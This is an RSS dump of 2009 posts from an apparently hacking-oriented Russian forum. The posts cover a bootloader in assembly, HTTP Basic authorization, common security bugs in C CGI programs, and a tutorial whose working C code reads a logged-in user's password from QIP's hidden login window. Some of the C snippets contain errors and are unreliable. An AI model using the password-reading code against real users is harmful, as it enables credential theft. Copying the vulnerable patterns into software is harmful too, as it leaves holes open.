код&lt;br /&gt;jmp 0x0000:0x0700&lt;br /&gt;r_cyl:&lt;br /&gt;// Читаем заданный цилиндр, ES:BX – буфер, CH – цилиндр, DH - головка&lt;br /&gt;// Сбросим счетчик ошибок&lt;br /&gt;mov [.err], byte 0&lt;br /&gt;pusha&lt;br /&gt;// Сообщение о том, какая головку/цилиндр считывается&lt;br /&gt;mov si, msg_cyl&lt;br /&gt;call ps&lt;br /&gt;mov ah, ch&lt;br /&gt;call pe&lt;br /&gt;mov si, msg_head&lt;br /&gt;call ps&lt;br /&gt;mov ah, dh&lt;br /&gt;call pe&lt;br /&gt;mov si, msg_crlf&lt;br /&gt;call ps&lt;br /&gt;popa&lt;br /&gt;pusha&lt;br /&gt;.start: &lt;br /&gt;mov ah, 0x02&lt;br /&gt;mov al, 18&lt;br /&gt;mov cl, 1&lt;br /&gt;// Прерывание BIOS&lt;br /&gt;int 0x13&lt;br /&gt;jc .r_err&lt;br /&gt;popa&lt;br /&gt;ret&lt;br /&gt;.err: db 0 &lt;br /&gt;.r_err:&lt;br /&gt;// Об ошибках сообщаем и выводим их код&lt;br /&gt;inc byte [.err]&lt;br /&gt;mov si, msg_err&lt;br /&gt;call ps&lt;br /&gt;call pe&lt;br /&gt;mov si, msg_crlf&lt;br /&gt;call ps&lt;br /&gt;// Что делаем, если ошибок больше нормы:&lt;br /&gt;cmp byte [.err], mre&lt;br /&gt;jl .start&lt;br /&gt;mov si, msg_end&lt;br /&gt;call ps&lt;br /&gt;hlt&lt;br /&gt;jmp short $&lt;/p&gt;
						&lt;p&gt;table: db &amp;quot;0123456789ABCDEF&amp;quot;&lt;br /&gt;pe:&lt;br /&gt;// ASCII-код преобразуем в его шестнадцатеричного представления и выводим&lt;br /&gt;pusha&lt;br /&gt;xor bx, bx&lt;br /&gt;mov bl, ah&lt;br /&gt;and bl, 11110000b&lt;br /&gt;shr bl, 4&lt;br /&gt;mov al, [table+bx]&lt;br /&gt;call pc&lt;br /&gt;mov bl, ah&lt;br /&gt;and bl, 00001111b&lt;br /&gt;mov al, [table+bx]&lt;br /&gt;call pc&lt;br /&gt;popa&lt;br /&gt;ret&lt;br /&gt;// Из AL выводим символ на экран&lt;br /&gt;pc:&lt;br /&gt;pusha&lt;br /&gt;mov ah, 0x0E&lt;br /&gt;int 0x10&lt;br /&gt;popa&lt;br /&gt;ret&lt;br /&gt;// Строку из SI выводим на экран&lt;br /&gt;ps:&lt;br /&gt;pusha&lt;br /&gt;.loop:&lt;br /&gt;lodsb&lt;br /&gt;test al, al&lt;br /&gt;jz .quit&lt;br /&gt;mov ah, 0x0e&lt;br /&gt;int 0x10&lt;br /&gt;jmp short .loop&lt;br /&gt;.quit:&lt;br /&gt;popa&lt;br /&gt;ret&lt;br /&gt;// Служебные сообщения&lt;br /&gt;msg_startup: db &amp;quot;OS loading...&amp;quot;, 0x0A, 0x0D, 0&lt;br /&gt;msg_cyl: db &amp;quot;Cylinder:&amp;quot;, 0&lt;br /&gt;msg_head: db &amp;quot;, head:&amp;quot;,0&lt;br /&gt;msg_er: db &amp;quot;Error! Code of it:&amp;quot;,0&lt;br /&gt;msg_end: db &amp;quot;Errors while reading&amp;quot;,0x0A,0x0D, &amp;quot;Reboot the computer, please&amp;quot;, 0&lt;br /&gt;msg_crlf: db 0x0A, 0x0D,0 &lt;/p&gt;
						&lt;p&gt;// Сигнатура бутсектора: &lt;br /&gt;TIMES 510 - ($-$$) db 0&lt;br /&gt;db 0xAA, 0x55&lt;/p&gt;
						&lt;p&gt;2) Вторичный загрузчик&lt;/p&gt;
						&lt;p&gt;А теперь вторичный загрузчик:&lt;/p&gt;
						&lt;p&gt;[BITS 16]&lt;br /&gt;[ORG 0x700]&lt;br /&gt;// Обнулим регистры, установим стек&lt;br /&gt;cli &lt;br /&gt;mov ax, 0&lt;br /&gt;mov ds, ax&lt;br /&gt;mov es, ax&lt;br /&gt;mov ss, ax&lt;br /&gt;mov sp, 0x700&lt;br /&gt;sti&lt;br /&gt;// Сообщение о приветствии&lt;br /&gt;mov si, msg_start&lt;br /&gt;call kputs&lt;br /&gt;// Сообщение о переходе в защищенный режим&lt;br /&gt;mov si, msg_entering_pmode&lt;br /&gt;call ps&lt;br /&gt;// Отключение курсора (просто так)&lt;br /&gt;mov ah, 1&lt;br /&gt;mov ch, 0x20&lt;br /&gt;int 0x10&lt;br /&gt;// Установим базовый вектор контроллера прерываний в 0x20&lt;br /&gt;mov al,00010001b &lt;br /&gt;out 0x20,al &lt;br /&gt;mov al,0x20 &lt;br /&gt;out 0x21,al &lt;br /&gt;mov al,00000100b &lt;br /&gt;out 0x21,al&lt;br /&gt;mov al,00000001b &lt;br /&gt;out 0x21,al &lt;br /&gt;// Отключим прерывания&lt;br /&gt;cli&lt;br /&gt;// Загрузка регистра GDTR: &lt;br /&gt;lgdt [gd_reg]&lt;br /&gt;// Включение A20: &lt;br /&gt;in al, 0x92&lt;br /&gt;or al, 2&lt;br /&gt;out 0x92, al&lt;br /&gt;// Установка бита PE регистра CR0&lt;br /&gt;mov eax, cr0 &lt;br /&gt;or al, 1 &lt;br /&gt;mov cr0, eax &lt;br /&gt;// С помощью длинного прыжка мы загружаем селектор нужного сегмента в регистр CS&lt;br /&gt;jmp 0x8: _protect&lt;br /&gt;ps:&lt;br /&gt;pusha&lt;br /&gt;.loop:&lt;br /&gt;lodsb&lt;br /&gt;test al, al&lt;br /&gt;jz .quit&lt;br /&gt;mov ah, 0x0e&lt;br /&gt;int 0x10&lt;br /&gt;jmp short .loop&lt;br /&gt;.quit:&lt;br /&gt;popa&lt;br /&gt;ret&lt;br /&gt;// Следующий код - 32-битный&lt;br /&gt;[BITS 32]&lt;br /&gt;// При переходе в защищенный режим, сюда будет отдано управление&lt;br /&gt;_protect: &lt;br /&gt;// Загрузим регистры DS и SS селектором сегмента данных&lt;br /&gt;mov ax, 0x10&lt;br /&gt;mov ds, ax&lt;br /&gt;mov es, ax&lt;br /&gt;mov ss, ax&lt;br /&gt;// Наше ядро слинковано по адресу 2мб, переносим его туда. ker_bin - метка, после которой вставлено ядро&lt;br /&gt;mov esi, ker_bin&lt;br /&gt;// Адрес, по которому копируем&lt;br /&gt;mov edi, 0x200000&lt;br /&gt;// Размер ядра в двойных словах (65536 байт)&lt;br /&gt;mov ecx, 0x4000&lt;br /&gt;rep movsd&lt;br /&gt;// Ядро скопировано, передаем управление ему&lt;br /&gt;jmp 0x200000&lt;br /&gt;gdt:&lt;br /&gt;dw 0, 0, 0, 0 &lt;br /&gt;// Нулевой дескриптор&lt;br /&gt;db 0xFF &lt;br /&gt;// Сегмент кода с DPL=0 Базой=0 и Лимитом=4 Гб &lt;br /&gt;db 0xFF &lt;br /&gt;db 0x00&lt;br /&gt;db 0x00&lt;br /&gt;db 0x00&lt;br /&gt;db 10011010b&lt;br /&gt;db 0xCF&lt;br /&gt;db 0x00&lt;br /&gt;db 0xFF &lt;br /&gt;// Сегмент данных с DPL=0 Базой=0 и Лимитом=4Гб &lt;br /&gt;db 0xFF &lt;br /&gt;db 0x00 &lt;br /&gt;db 0x00&lt;br /&gt;db 0x00&lt;br /&gt;db 10010010b&lt;br /&gt;db 0xCF&lt;br /&gt;db 0x00&lt;br /&gt;// Значение, которое мы загрузим в GDTR: &lt;br /&gt;gd_reg:&lt;br /&gt;dw 8192&lt;br /&gt;dd gdt&lt;br /&gt;msg_start: db &amp;quot;Get fun! New loader is on&amp;quot;, 0x0A, 0x0D, 0&lt;br /&gt;msg_epm: db &amp;quot;Protected mode is greeting you&amp;quot;, 0x0A, 0x0D, 0&lt;/p&gt;
						&lt;p&gt;Оба загрузчика готовы. Осталось лишь откомпилировать их и отправить на bootsector дискеты.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:52:06 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=31#p31</guid>
		</item>
		<item>
			<title>Авторизация HTTP</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=30#p30</link>
			<description>&lt;p&gt;Авторизация HTTP&lt;/p&gt;
						&lt;p&gt;При запросе защищенной паролем страницы/директории сервер возвращает код &lt;br /&gt;ошибки 401 Unauthorized.&lt;br /&gt;В полном виде ответ от сервера выглядит так:&lt;/p&gt;
						&lt;p&gt;HTTP/1.0 401 Unauthorized&lt;br /&gt;Date: Mon, 28 Aug 2000 07:24:37 GMT&lt;br /&gt;Server: SAMBAR 4.2&lt;br /&gt;MIME-version: 1.0&lt;br /&gt;Content-type: text/html&lt;br /&gt;WWW-Authenticate: basic realm=&amp;quot;Sambar Admin Login&amp;quot;&lt;/p&gt;
						&lt;p&gt;&amp;lt;xmp&amp;gt;&lt;br /&gt;&amp;lt;HTML&amp;gt;&lt;br /&gt;&amp;lt;HEAD&amp;gt;&lt;br /&gt;&amp;lt;TITLE&amp;gt;Invalid Login&amp;lt;/TITLE&amp;gt;&lt;br /&gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt;&amp;lt;BODY BGCOLOR=&amp;quot;#FFFFFF&amp;quot; LINK=#990033 VLINK=#990033 ALINK=#990033&amp;gt;&lt;br /&gt;&amp;lt;TABLE BORDER=0 WIDTH=500 CELLPADDING=10 CELLSPACING=10&amp;gt;&lt;br /&gt;&amp;lt;TR&amp;gt;&amp;lt;TD BGCOLOR=#990033 ALIGN=LEFT&amp;gt;&lt;br /&gt;&amp;lt;FONT SIZE=5 COLOR=#FFFFFF&amp;gt;&amp;lt;B&amp;gt;Invalid Login&amp;lt;/B&amp;gt;&amp;lt;/FONT&amp;gt;&lt;br /&gt;&amp;lt;/TR&amp;gt;&amp;lt;/TD&amp;gt;&lt;br /&gt;&amp;lt;TR&amp;gt;&amp;lt;TD&amp;gt;&lt;br /&gt;&amp;lt;BR&amp;gt;&lt;br /&gt;The username/password you provided is not valid.&amp;#160; &lt;br /&gt;&amp;lt;/TD&amp;gt;&amp;lt;/TR&amp;gt;&lt;br /&gt;&amp;lt;TR&amp;gt;&amp;lt;TD&amp;gt;&lt;br /&gt;&amp;lt;BR&amp;gt;&lt;br /&gt;&amp;lt;A HREF=&amp;quot;http://www.sambar.com&amp;quot;&amp;gt;&amp;lt;FONT SIZE=2&amp;gt;Powered by Sambar&amp;lt;/FONT&amp;gt;&amp;lt;/A&amp;gt;&lt;br /&gt;&amp;lt;/TD&amp;gt;&amp;lt;/TR&amp;gt;&lt;br /&gt;&amp;lt;/TABLE&amp;gt;&lt;br /&gt;&amp;lt;/BODY&amp;gt;&lt;br /&gt;&amp;lt;/HTML&amp;gt;&lt;/p&gt;
						&lt;p&gt;После ввода логина и пароля серверу отправляется запрос:&lt;/p&gt;
						&lt;p&gt;GET /session/adminlogin?RCpage=/sysadmin/index.stm HTTP/1.1&lt;br /&gt;User-Agent: Opera/4.0 (Windows 95;US)&amp;#160; [en]&lt;br /&gt;Host: localhost&lt;br /&gt;Accept: text/html, image/png, image/jpeg, image/gif, image/x-xbitmap, */*&lt;br /&gt;Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0&lt;br /&gt;Authorization: Basic T3p6bWFuOjEyMzQ1Njc4OTA=&lt;br /&gt;Connection: Keep-Alive, TE&lt;br /&gt;TE: deflate, gzip, chunked, identity, trailers&lt;/p&gt;
						&lt;p&gt;значение Authorization получается следующим образом:&lt;br /&gt;логин и пароль выстраиваются в одну строку и разделяются &amp;quot;:&amp;quot;&lt;br /&gt;&amp;quot;ozzman:1234567890&amp;quot;&lt;/p&gt;
						&lt;p&gt;далее строка кодируется по три символа:&lt;/p&gt;
						&lt;p&gt;1. от a[1] берутся старшие 6 бит. a[1] shr 2;&lt;br /&gt;далее выбирается символ из таблицы: &lt;br /&gt;crypt[1]=table[a[1] shr 2];&lt;/p&gt;
						&lt;p&gt;2. от a[1] берутся последние два бита и сдвигаются на 4 влево- a[1] shl 4;&lt;br /&gt;от a[2] берутся старшие 4 бита [a2] shr 4;&lt;br /&gt;crypt[2]=table[((a[1] and 3) shl 4) or (a[2]&amp;#160; shr 4)];&lt;/p&gt;
						&lt;p&gt;3. от a[2] берутся младшие четыре бита и сдвигаются влево на 2 - &lt;br /&gt;(a[2] and 0fh) shl 2;&lt;br /&gt;от a[3] берутся старшие два бита.&lt;br /&gt;crypt[3]=table[((a[2] and 0fh) shl 2) or (a[3] shr 6)];&lt;/p&gt;
						&lt;p&gt;4. от a[3] берутся младшие 6 бит - a[3] and 3fh;&lt;br /&gt;crypt[4]=table[a[3] and 3fh];&lt;/p&gt;
						&lt;p&gt;table1=&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;quot;&lt;/p&gt;
						&lt;p&gt;Ozzman&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:50:57 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=30#p30</guid>
		</item>
		<item>
			<title>Пишем дырявую cgi`шку на Си</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=29#p29</link>
			<description>&lt;p&gt;Тебе, наверное, интересно, почему всякие там кул хацкеры используют C/С++, вместо того чтобы выучить и заюзать рульный скрипт - Perl, Bash, PHP, VBS (нужное подчеркнуть). Отвечаю:&lt;/p&gt;
						&lt;p&gt;1. Скорость. В отличие от скриптов, язык C/C++ - компилируемый, поэтому код получается быстрее, также язык C/C++ более низкоуровневый, поэтому на нем проще избежать накладных расходов.&lt;/p&gt;
						&lt;p&gt;2. Надежность. Даже если хакер получит доступ на чтение к папкам, на которых лежат исполняемые CGI-файлы, то его постигнет разочарования, т.к. он не найдет исходного кода твоей CGI-шки, т.к. C-шных исходник ты хранишь в банке под надежным замком, а на сервере лежит только скомпилированная программа. И хакер будет долго разбираться в дизассемблере, чтобы понять, есть в твоей программе баги или нет. Также C, а особенно C++, является строго типизированным языком, поэтому о многих ошибках тебе компилятор скажет еще на этапе компиляции.&lt;/p&gt;
						&lt;p&gt;3. Мощность. Для С/C++ намного проще найти или написать нестандартные вещи, начиная от генерации картинок и музыки при заходе пользователя до управления свистком чайника. Также современные компиляторы C++ намного опережают по богатству возможностей обычные скрипты.&lt;/p&gt;
						&lt;p&gt;4. Время/опыт. Лучше потратить время на углубление своих знаний и повышения опыта по использованию C/C++, чем потратить свое время на изучение очередного скрипта. Так знание C/C++ поможет тебе написать сниффер, keygen, троян, вирус (список можно продолжать до бесконечности), а зная только скрипты, ты будешь привязан к узкому кругу задач.&lt;/p&gt;
						&lt;p&gt;C++ РУЛИТ&lt;/p&gt;
						&lt;p&gt;Скажу тебе по секрету, что все продвинутые хакеры уже давно вместо С используют C++ из-за его мощности и удобства. В C++ очень легко избежать или свести к минимуму все вышеприведенные ошибки. Так вместо страшно неудобных и очень бажных строк char *, а значит, соответственно, и использования функций strcat, strcpy, можно использовать класс строк - std::string. Вместо опасного printf/scanf/gets можно использовать std::stream и operator &amp;gt;&amp;gt;/&amp;lt;&amp;lt;. А обычные C`шные массивы можно заменит на std::vector, std::list, std::map.&lt;/p&gt;
						&lt;p&gt;Также не секрет, что многие ошибки в программах связаны с тем, что программеру было просто лень писать более сложный код и он ограничивается самым простым (но и, к сожалению, самым бажным) вариантом. Но и здесь C++ облегчает жизнь программисту, т.к. в язык уже включена большая и безопасная библиотека STL, с помощью которой многие сложные вещи, занимающие на C несколько экранов, пишутся на C++ в несколько строчек. Также использование С++ упрощает повторное использование кода, что позволяет один раз написать свою небольшую библиотечку, а потом ее использовать во всех своих программах.&lt;/p&gt;
						&lt;p&gt;Если тебя еще не убедили вышеприведенные аргументы, то вот тебе еще один. Плюсы поддерживают конструкцию try/catch, при ее аккуратном применении можно забыть о таких сообщениях, как &amp;quot;core dumped&amp;quot;, &amp;quot;access violation&amp;quot;, &amp;quot;division by zero&amp;quot; и т.д.&lt;/p&gt;
						&lt;p&gt;А сейчас давай посмотрим, какие ошибки можно поиметь при написании CGI-шек на C/C++ (мы ведь с тобой кул хацкеры и не пишем CGI-шки на всяких там скриптах). Сразу тебя обрадую, на C (в дальнейшем, говоря C, я подразумеваю C/C++) нет этих дурацких ошибок с нулевым символом, а также с выполнением программ во время простейшего открытия файла. Но в C нас с тобой поджидают не менее опасные ошибки: переполнение буфера, ошибка форматной строки и др. Ошибки я буду показывать на примере обычных консольных программ (это программы, которые работают в текстовом режиме), т.к. CGI-шка как раз и является обычной консольной программой.&lt;/p&gt;
						&lt;p&gt;1 (a). Переполнение буфера при использовании стандартных функций&lt;/p&gt;
						&lt;p&gt;Одна из самых распространенных и опасных ошибок, т.к. под данную ошибку очень легко написать exploit.&lt;br /&gt;Пример грубой ошибки:&lt;/p&gt;
						&lt;p&gt;char name[300];&lt;br /&gt;scanf(&amp;quot;%s&amp;quot;, name);&lt;/p&gt;
						&lt;p&gt;Число 300 взято от балды, вместо него могло быть и 30, и 300000, от ошибки это не спасает, т.к. все равно можно ввести (или написать прогу, которая будет вводить) строку большей длины.&lt;/p&gt;
						&lt;p&gt;Пример тонкой ошибки:&lt;/p&gt;
						&lt;p&gt;char s[6];&lt;br /&gt;itoa (value, s, 10);&lt;/p&gt;
						&lt;p&gt;Если переменная value вводилась пользователем, то он мог ввести число, в котором цифр больше, чем 5, т.к. самое длинное целое число (-2147483648) содержит 13 символов, разницы в 7 символов часто хватает с лихвой, чтобы написать под эту ошибку exploit.&lt;/p&gt;
						&lt;p&gt;Ошибке &amp;quot;переполнение буфера&amp;quot; подвержены следующие стандартные функции (в скобочках указан безопасный аналог, если он есть) - gets (fgets), strcpy (strncpy), strcat(strncat), при неосторожном обращении опасны также функции - sprintf (snprintf), vsprintf (vsnprintf), scanf, fscanf, sscanf, itoa.&lt;/p&gt;
						&lt;p&gt;1 (б). Переполнение буфера в своем коде&lt;/p&gt;
						&lt;p&gt;Переполнение буфера поджидает не только при использовании стандартных функций, но и при написании своего кода.&lt;/p&gt;
						&lt;p&gt;Пример грубой ошибки:&lt;/p&gt;
						&lt;p&gt;int index, value, array[100];&lt;br /&gt;std::cout &amp;gt;&amp;gt; index &amp;gt;&amp;gt; value; //вводим номер элемента массива, вводим число&lt;br /&gt;array[index] = value; //записываем введенное число в массив&lt;/p&gt;
						&lt;p&gt;В данной задаче надо было проверять переменную index на правильное значение - оно должно было быть больше нуля и меньше 100.&lt;/p&gt;
						&lt;p&gt;Пример тонкой ошибки:&lt;/p&gt;
						&lt;p&gt;char buf[200], *p = buffer;&lt;br /&gt;int i = 0;&lt;br /&gt;for (i = 0; (buf[i] = getchar()) != &#039; &#039; &amp;amp;&amp;amp; i &amp;lt; 200; ++i){}&lt;br /&gt;buf[i] = 0;&lt;/p&gt;
						&lt;p&gt;Максимально введенная строка будет занимать 201 байт, а не 200, как рассчитывалось. Exploit на данный конкретный случай будет сложно написать, но уронить программу можно будет запросто, а при небольшом везении может все-таки получиться и exploit.&lt;/p&gt;
						&lt;p&gt;Рекомендации по избежанию данной ошибки просты:&lt;br /&gt;a. Проверяй все входные параметры на корректность.&lt;br /&gt;b. Будь внимателен при написании кода, работающего с массивами.&lt;br /&gt;2. Ошибка форматной строки&lt;br /&gt;При выводе строк с помощью функций семейства printf многие ленивые программисты или &amp;quot;крутые оптимизаторы&amp;quot; (которые стараются экономить даже на спичках) пишут вместо printf (&amp;quot;%s&amp;quot;, str) просто printf (str).&lt;/p&gt;
						&lt;p&gt;Во втором случае, если строка str вводилась пользователем, в нее можно вставить форматные спецификаторы (%s, %d и т.д.), которые могут не только завалить программу, но и поспособствовать выполнению exploit`а.&lt;/p&gt;
						&lt;p&gt;Данной ошибке подвержены следующие функции: все функции семейства printf (sprintf, fprintf, vsprintf и т.д.), функции семейства scanf (если форматная строка ввода формируется с использованием введенных пользователем строк), функции, основанные на printf - syslog, setproctitle и т.д.&lt;/p&gt;
						&lt;p&gt;Рекомендация одна - &amp;quot;не ленись&amp;quot; и пиши полный вариант вызова, а также осторожно используй введенные пользователем строки при формировании форматной строки.&lt;/p&gt;
						&lt;p&gt;3. Чтение и запись произвольных файлов&lt;/p&gt;
						&lt;p&gt;При использовании введенных пользователем строк в качестве имен файлов в функциях open, fopen надо отфильтровывать из введенных строк символы &#039;.&#039;(если &#039;.&#039; по каким-либо причинам нужна, тогда надо отфильтровывать &#039;..&#039;, &#039;/..&#039;, &#039;../&#039; и &#039;..&#039;).&lt;/p&gt;
						&lt;p&gt;Пример грамотного кода, который сначала отфильтровывает точки и только потом использует для создания директории введенную строку:&lt;/p&gt;
						&lt;p&gt;char buf[1024] ={0};;&lt;br /&gt;fgets (stdin, sizeof(buf)/sizeof(buf[0]), buf);&lt;br /&gt;for (int j = 0, i = 0; ; ++i)&lt;br /&gt;{&lt;br /&gt;if (buf[i] != &#039;.&#039;)&lt;br /&gt;buf[j++] = buf[i];&lt;br /&gt;if (!buf[i]) break;&lt;br /&gt;}&lt;br /&gt;mkdir (buf);&lt;/p&gt;
						&lt;p&gt;Данную фильтрацию надо применять для всех функций работы с файлами - open, fopen, mkdir, rmdir, chdir, tempnam, tmpnam, функции exec, функции spawn.&lt;/p&gt;
						&lt;p&gt;4. Функция system&lt;/p&gt;
						&lt;p&gt;Для выполнения системных утилит или для вызова других программ часто используется функция system. Если строки, введенные пользователем, используются в функции system, то их надо обязательно брать в кавычки. При этом если исходная строка уже содержала кавычки, то их надо отфильтровывать (если кавычки в строке все-таки необходимы, тогда их нужно эскейпить - заменяя на две кавычки подряд или на слэш кавычки, в зависимости от используемой системы).&lt;/p&gt;
						&lt;p&gt;Посылаем введенную пользователем строку себе на WinPopup:&lt;/p&gt;
						&lt;p&gt;std::string s;&lt;br /&gt;std::cin &amp;gt;&amp;gt; s;&lt;br /&gt;std::string s2 = &amp;quot;net send 127.0.0.1 &amp;quot;;&lt;br /&gt;for (std::string::iterator it = s.begin(); it != s.end(); ++it)&lt;br /&gt;{&lt;br /&gt;if (*it == &#039;&amp;quot;&#039;) s2+= &#039;&amp;quot;&#039;; //или s2+=&#039;&#039;&lt;br /&gt;s2+= *it;&lt;br /&gt;}&lt;br /&gt;std::system (s2);&lt;br /&gt;EXIT(0)&lt;/p&gt;
						&lt;p&gt;В данной статье я рассмотрел только самые широко распространенные ошибки, за бортом остались мелкие и специфичные ошибки, а также те ошибки, которые невозможно (очень сложно) использовать для внедрения exploit`а.&lt;/p&gt;
						&lt;p&gt;Напоследок я могу сказать только одно: проверяй и еще раз проверяй все введенные параметры, которые приходят со стороны пользователя. Проверяй даже в том случае, если эти параметры формируются твоим кодом, т.к. если программа стоит у пользователя, ее легко взломать и подправить передаваемые параметры либо написать свою программу, которая будет опять же генерировать &amp;quot;плохие&amp;quot; данные. Еще лучше, если данные, приходящие от пользователя, не используются напрямую, а используются только косвенно. Так, если cgi-шка работает с файлами, то название файла лучше не передавать на сторону клиента, а лучше сохранить в массиве, а клиенту отдать только индекс; при получении индекса от клиента обратно проверить его на корректность и достать название файла из массива по этому индексу.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:48:27 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=29#p29</guid>
		</item>
		<item>
			<title>Кража паролей из памяти</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=28#p28</link>
			<description>&lt;p&gt;Меня порой поражает беспечность разработчиков программных продуктов. И данные шифруют, и алгоритмы новые придумывают, и программы свои от взлома защищают, но пользы большой это не приносит.&lt;/p&gt;
						&lt;p&gt;Любой более-менее продвинутый пользователь знает, что хранить пароли на диске небезопасно. Самое надежное хранилище паролей - это голова. В то же время, большинство программ, требующих авторизации пользователя, предоставляют возможность сохранения (запоминания) пароля в программе для ускорения процесса входа в систему в дальнейшем. Разработчики реализуют эту функцию по разному - кто-то хранит пароль в файлах настроек, кто-то в реестре, кто-то в защищенном хранилище Windows (тот же реестр, но доступный лишь пользователю System). Вариантов хранения масса. Впрочем, как и методов кражи паролей из этих мест. Существует множество вредоносных программ, основной или дополнительной функцией которых является кража сохраненных паролей с жесткого диска жертвы.&lt;/p&gt;
						&lt;p&gt;Мы, ведь с вами, продвинутые пользователи, правда? И поэтому, никогда не сохраняем пароли, а только запоминаем. Верно ли утверждение, что в этом случае наш пароль в безопасности? Давайте проверим.&lt;/p&gt;
						&lt;p&gt;Что нам понадобится?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Spy++ из пакета MS Visual Studio, или любая подобная утилита.&lt;br /&gt;&amp;#160; &amp;#160;2. PE Tools, или любая утилита, позволяющая сделать дамп процесса.&lt;br /&gt;&amp;#160; &amp;#160;3. Hex Workshop, или любой другой шестнадцатеричный редактор.&lt;br /&gt;&amp;#160; &amp;#160;4. MS Visual C++, или любой C компилятор.&lt;/p&gt;
						&lt;p&gt;Что будем исследовать?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. QIP. У меня - билд 8040. (qip.ru)&lt;br /&gt;&amp;#160; &amp;#160;2. &amp;amp;RQ. Я использовал версию 0.9.7.4. (andrq.org)&lt;br /&gt;&amp;#160; &amp;#160;3. Mail.Ru Агент. Версия 5.0, билд 2082. (agent.mail.ru)&lt;/p&gt;
						&lt;p&gt;Взлом паролей QIP&lt;/p&gt;
						&lt;p&gt;Бесплатный интернет-пейджер, написанный и поддерживаемый российским программистом. У QIP миллионы поклонников, которые любят его за удобство, кучу скинов и массу других полезных возможностей.&lt;br /&gt;Если у вас еще нет этого ICQ-клиента - вперед на сайт разработчика за последней версией. Устанавливаем, запускаем.&lt;/p&gt;
						&lt;p&gt;Открывшееся окно предлагает нам ввести данные авторизации, либо завести новую учетную запись. Не важно, зарегистрируете ли вы новый аккаунт, или будете заходить со своими учетными данными. Двигаемся дальше.&lt;/p&gt;
						&lt;p&gt;QIP любезно предоставляет нам возможность сохранить пароль. Пароль мы сохранять не будем. Пока оставляем QIP в покое и открываем Spy++. Жмем Alt+F3 и открываем диалог поиска окна. Берем мышкой Finder Tool и кидаем его на окно менеджера учетных записей QIP&#039;а.&lt;/p&gt;
						&lt;p&gt;Нажимаем Ok и Spy++ показывает нам в списке окон нужное нам окно - &amp;quot;QIP - Спокойное общение!&amp;quot;, имя класса которого TManForm. На нем дерево дочерних окон, обеспечивающих интерфейс подключения к серверу. Нас интересуют TGroupBox, TComboBox на нем и TEdit. Это как раз наши UIN и пароль. Запомним название классов.&lt;/p&gt;
						&lt;p&gt;Переходим снова в окно QIP и нажимаем кнопку &amp;quot;Подключиться&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Диалог входа закрылся. Можно общаться. Но проверим, закрылось ли окно диалога? Обновим список окон в Spy++ (клавиша F5) и попробуем снова найти окно авторизации QIP. Нажимаем Alt+F3 и вводим параметры поиска. Для того чтобы найти окно нам надо указать хотя бы один параметр: Handle - уникальный идентификатор окна, Caption - надпись формы, Class - имя класса окна. Мы будем искать по классу.&lt;/p&gt;
						&lt;p&gt;Вводим в поле Class класс окна TManForm. Жмем Ok.&lt;/p&gt;
						&lt;p&gt;Что мы видим? Окно не закрылось. Оно просто невидимо... Попробуем прочитать поля с данными авторизации. Для этого используем стандартный механизм общения окон и системы в Windows - сообщения.&lt;/p&gt;
						&lt;p&gt;Начинаем программировать.&lt;/p&gt;
						&lt;p&gt;void main()&lt;br /&gt;{&lt;br /&gt;// Объявим переменные, необходимые для работы&lt;br /&gt;HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм&lt;br /&gt;char* pUIN; // Указатель на буфер для UIN&lt;br /&gt;char* pPass; // Указатель на буфер для пароля&lt;br /&gt;int iUIN; // Длина UIN&lt;br /&gt;int iPass; // Длина пароля&lt;/p&gt;
						&lt;p&gt;// Найдем окно диалога авторизации&lt;br /&gt;hManForm=FindWindow(&amp;quot;TManForm&amp;quot;,0);&lt;br /&gt;// Расположенная на нем группа элементов управления&lt;br /&gt;hGroupBox=FindWindowEx(hManForm,0,&amp;quot;TGroupBox&amp;quot;,0);&lt;/p&gt;
						&lt;p&gt;// Список с UIN&#039;ами&lt;br /&gt;hComboBox=FindWindowEx(hGroupBox,0,&amp;quot;TComboBox&amp;quot;,0);&lt;br /&gt;// Получим длину текста в списке&lt;br /&gt;iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;&lt;br /&gt;// Выделяем необходимую память для буфера&lt;br /&gt;pUIN=(char*)LocalAlloc(0, iUIN);&lt;br /&gt;// Получим непосредственно текст&lt;br /&gt;SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);&lt;/p&gt;
						&lt;p&gt;// Поле с паролем&lt;br /&gt;hEdit=FindWindowEx(hGroupBox,0,&amp;quot;TEdit&amp;quot;,0);&lt;br /&gt;// Дальше все по аналогии с UIN&#039;ом&lt;br /&gt;iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;&lt;br /&gt;pPass=(char*)LocalAlloc(0, iPass);&lt;br /&gt;SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);&lt;/p&gt;
						&lt;p&gt;//Выведем что получилось&lt;br /&gt;cout &amp;lt;&amp;lt; &amp;quot;[!!!]Found for: &amp;quot;&amp;lt;&amp;lt; pUIN &amp;lt;&amp;lt; &amp;quot;tPassword: &amp;quot; &amp;lt;&amp;lt; pPass;&lt;/p&gt;
						&lt;p&gt;// Освободим память&lt;br /&gt;LocalFree(pUIN);&lt;br /&gt;LocalFree(pPass);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Сохраняем, компилируем, запускаем. Что у нас получилось? Если все сделано верно, то программа вернет строку, содержащую ваш UIN и пароль.&lt;/p&gt;
